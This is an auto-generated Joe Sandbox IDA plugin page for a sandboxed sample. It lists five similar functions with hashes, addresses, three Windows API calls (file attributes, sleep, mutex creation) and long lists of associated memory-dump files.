Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 3c82b2883af600678a4d4f992b87756649d79a2516f3cd1b79cc4c3cd0e1b5b5
Instruction ID: c19f055d7f2c4eab446db990dd26eda5d1114202bb795b9c74f70cb36a58b2b8
Opcode Fuzzy Hash: 3c82b2883af600678a4d4f992b87756649d79a2516f3cd1b79cc4c3cd0e1b5b5
Instruction Fuzzy Hash: 39316831B042408BFF08DBBCDCA87ADB762EF86314F248718E164E72D6D7B599808752

Function 00109F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00109F47
Sleep.KERNEL32(00000064,?), ref: 0010A963
CreateMutexA.KERNEL32(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: a21a51ce98be9e5a0f72dde42678fd9e63b3a89431c2cb1d531c426866d07a36
Instruction ID: b5cda48b95582eaae08255f6453d1dc9a473eea7e5f6d7de7be7d999df913524
Opcode Fuzzy Hash: a21a51ce98be9e5a0f72dde42678fd9e63b3a89431c2cb1d531c426866d07a36
Instruction Fuzzy Hash: F3317B31B002049BEB08DB7CDCA87ADBB62EF86314F208618E1A4E72D6D7B559808752

Function 0010A079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0010A07C
Sleep.KERNEL32(00000064,?), ref: 0010A963
CreateMutexA.KERNEL32(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 348ae1b12d8ae767ec58f45a24f89566af8ff74df1fdc3a311588c01083097ac
Instruction ID: 94fbc1e5f548dbf1787b5edae0a811d75497e7a1479e044840aeeddaef071d97
Opcode Fuzzy Hash: 348ae1b12d8ae767ec58f45a24f89566af8ff74df1fdc3a311588c01083097ac
Instruction Fuzzy Hash: 0F316A31B003049BEB08DB78DC98B6CB772DF92314F648618E0A4E77D5D7B55980C652

Function 0010A1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0010A1B1
Sleep.KERNEL32(00000064,?), ref: 0010A963
CreateMutexA.KERNEL32(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 52681de961d3121ba02b4878a981aac3f9fafea373d79b8b77a1a3b3c3753680
Instruction ID: 2cc2fb124a91a1d6df7cd75eace8af84e2b1c569275a06586d32c5e0fc8d6228
Opcode Fuzzy Hash: 52681de961d3121ba02b4878a981aac3f9fafea373d79b8b77a1a3b3c3753680
Instruction Fuzzy Hash: B1312831B003409FEB08DBACDC997ADB772AF96314F648628E054E72D1D7B559808652

Function 0010A2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0010A2E6
Sleep.KERNEL32(00000064,?), ref: 0010A963
CreateMutexA.KERNEL32(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 174ebe7140eea914a7e6aff1539de5ac3c64a9f1423bdda3b6f1b117480d1584
Instruction ID: 6fe491140bc0ea4d10229f0ce97b54c5b827a2beeb2c359ed4e9b39c0ff4e501
Opcode Fuzzy Hash: 174ebe7140eea914a7e6aff1539de5ac3c64a9f1423bdda3b6f1b117480d1584
Instruction Fuzzy Hash: 98316A31B003009BEB18DB7CDC9876CB772BF92314F608628E0A4EB6D1D7B599808752

Function 0010A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0010A41B
Sleep.KERNEL32(00000064,?), ref: 0010A963
CreateMutexA.KERNEL32(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
